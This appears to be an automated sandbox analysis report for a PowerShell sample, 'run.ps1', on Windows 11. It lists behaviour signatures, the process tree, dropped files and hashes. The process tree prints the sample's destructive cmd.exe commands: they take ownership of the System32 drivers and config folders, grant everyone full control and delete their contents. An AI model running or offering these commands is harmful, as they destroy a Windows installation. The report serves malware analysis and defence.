Analysis

  • max time kernel
    40s
  • max time network
    38s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240802-en
  • resource tags

    arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    15/08/2024, 22:45

General

  • Target
    run.ps1
  • Size 1KB
  • Sample240815-2pnvrstgrp
  • SHA256 735116a2700250eb6865f98ebef5519c9de350fde9fc5bb0a3b3c18a63486c78
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Possible privilege escalation attempt 4 IoCs
  • Modifies file permissions 1 TTPs 4 IoCs
  • Drops file in Windows directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 42 IoCs
  • Suspicious use of FindShellTrayWindow 26 IoCs
  • Suspicious use of SendNotifyMessage 12 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\run.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1028
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\elbgn5j4\elbgn5j4.cmdline"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4364
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC4E6.tmp" "c:\Users\Admin\AppData\Local\Temp\elbgn5j4\CSC8439CDD542794B94BDB39D44C23AB91F.TMP"
        3⤵
          PID:1844
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /k "takeown /f C:\Windows\System32\drivers\* >nul && icacls C:\Windows\System32\drivers\* /grant everyone:(f) >nul && del /s /q C:\Windows\System32\drivers\* >nul 2>&1 && exit"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4524
        • C:\Windows\system32\takeown.exe
          takeown /f C:\Windows\System32\drivers\*
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:4368
        • C:\Windows\system32\icacls.exe
          icacls C:\Windows\System32\drivers\* /grant everyone:(f)
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:4712
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /k "takeown /f C:\Windows\System32\config\* >nul && icacls C:\Windows\System32\config\* /grant everyone:(f) >nul && del /s /q C:\Windows\System32\config\* >nul 2>&1 && exit"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4424
        • C:\Windows\system32\takeown.exe
          takeown /f C:\Windows\System32\config\*
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:336
        • C:\Windows\system32\icacls.exe
          icacls C:\Windows\System32\config\* /grant everyone:(f)
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:2272
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe"
      1⤵
      • Drops file in Windows directory
      • Enumerates system info in registry
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:4720
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x10c,0x110,0x114,0xe8,0x118,0x7ffa6496cc40,0x7ffa6496cc4c,0x7ffa6496cc58
        2⤵
          PID:2144
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1804,i,9405186354360882082,9966216644901372563,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=1796 /prefetch:2
          2⤵
            PID:4552
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2028,i,9405186354360882082,9966216644901372563,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=2092 /prefetch:3
            2⤵
              PID:1140
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2168,i,9405186354360882082,9966216644901372563,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=2180 /prefetch:8
              2⤵
                PID:3892
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3112,i,9405186354360882082,9966216644901372563,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=3124 /prefetch:1
                2⤵
                  PID:3812
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3132,i,9405186354360882082,9966216644901372563,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=3288 /prefetch:1
                  2⤵
                    PID:3396
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4544,i,9405186354360882082,9966216644901372563,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=4528 /prefetch:1
                    2⤵
                      PID:1796
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4788,i,9405186354360882082,9966216644901372563,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=4796 /prefetch:8
                      2⤵
                        PID:4404
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4800,i,9405186354360882082,9966216644901372563,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=4816 /prefetch:8
                        2⤵
                          PID:4020
                      • C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
                        "C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
                        1⤵
                          PID:4224
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                          1⤵
                            PID:4200

                          Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

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                                Downloads

                                BrowsingTopicsState

                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
                                • Size 649B
                                • SHA256 91bf2631fc78c079e678aa68875047d3af7610a41a00d9976149429496efa135
                                • MD5 SHA1 SHA512

                                Network Persistent State

                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
                                • Size 1KB
                                • SHA256 9acaa0e5f769b312afd8877243ecdbc1509b98cb023c4f6565efa35c32d07c40
                                • MD5 SHA1 SHA512

                                SCT Auditing Pending Reports

                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                                • Size 2B
                                • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                                • MD5 SHA1 SHA512

                                TransportSecurity

                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
                                • Size 356B
                                • SHA256 d4f8e4a52182835c00e6adc862f1416e7a2cee026f163f4936a17d9c7b1f48f8
                                • MD5 SHA1 SHA512

                                Preferences

                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                • Size 8KB
                                • SHA256 4b4fc04b0ac938c59a5a48e9434445efec17e272d64e4cb30f5a3d0a8acc41f9
                                • MD5 SHA1 SHA512 SSDEEP

                                Secure Preferences

                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
                                • Size 15KB
                                • SHA256 d5e8c7f5b74707ed569395eb114cd396303728d1d817dd061d21d342ac056e96
                                • MD5 SHA1 SHA512 SSDEEP

                                Local State

                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                • Size 196KB
                                • SHA256 a309cf036d87bbcf1e6fda5d4ab49aa702b477174823162729759c1c7a48b295
                                • MD5 SHA1 SHA512 SSDEEP

                                RESC4E6.tmp

                                • Path C:\Users\Admin\AppData\Local\Temp\RESC4E6.tmp
                                • Size 1KB
                                • SHA256 3a933697a4fe6f43ae04ad47b34db0100df88e08cbdacd50186974e0dfca70f9
                                • MD5 SHA1 SHA512

                                __PSScriptPolicyTest_ljrfxmqy.iwv.ps1

                                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ljrfxmqy.iwv.ps1
                                • Size 60B
                                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                • MD5 SHA1 SHA512

                                elbgn5j4.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\elbgn5j4\elbgn5j4.dll
                                • Size 3KB
                                • SHA256 d43d401e9213fe3a1c2328a71e24e4385dfbdd4782d4c2effda79df05c697384
                                • MD5 SHA1 SHA512

                                CSC8439CDD542794B94BDB39D44C23AB91F.TMP

                                • Path \??\c:\Users\Admin\AppData\Local\Temp\elbgn5j4\CSC8439CDD542794B94BDB39D44C23AB91F.TMP
                                • Size 652B
                                • SHA256 7fb917184c6829f4e37cd0ea2d66e493e9ee957088bb8d63f4f6c0c6937934d0
                                • MD5 SHA1 SHA512

                                elbgn5j4.0.cs

                                • Path \??\c:\Users\Admin\AppData\Local\Temp\elbgn5j4\elbgn5j4.0.cs
                                • Size 819B
                                • SHA256 d842c81d3641d456116098208a48542a96d5e4d256169069189e459cc265cef5
                                • MD5 SHA1 SHA512

                                elbgn5j4.cmdline

                                • Path \??\c:\Users\Admin\AppData\Local\Temp\elbgn5j4\elbgn5j4.cmdline
                                • Size 369B
                                • SHA256 9f957d19f07867f90e16fd24e91058be2af8dd7815048cae925c09fd0727b25b
                                • MD5 SHA1 SHA512

                                memory/1028-28-0x00007FFA63B10000-0x00007FFA645D2000-memory.dmp

                                memory/1028-29-0x00007FFA63B10000-0x00007FFA645D2000-memory.dmp

                                memory/1028-30-0x00007FFA63B10000-0x00007FFA645D2000-memory.dmp

                                memory/1028-27-0x00007FFA63B13000-0x00007FFA63B15000-memory.dmp

                                memory/1028-25-0x000001CBE8D90000-0x000001CBE8D98000-memory.dmp

                                memory/1028-0-0x00007FFA63B13000-0x00007FFA63B15000-memory.dmp

                                memory/1028-12-0x00007FFA63B10000-0x00007FFA645D2000-memory.dmp

                                memory/1028-10-0x000001CBE9200000-0x000001CBE9222000-memory.dmp

                                memory/1028-11-0x00007FFA63B10000-0x00007FFA645D2000-memory.dmp

                                memory/1028-1-0x00007FFA63B10000-0x00007FFA645D2000-memory.dmp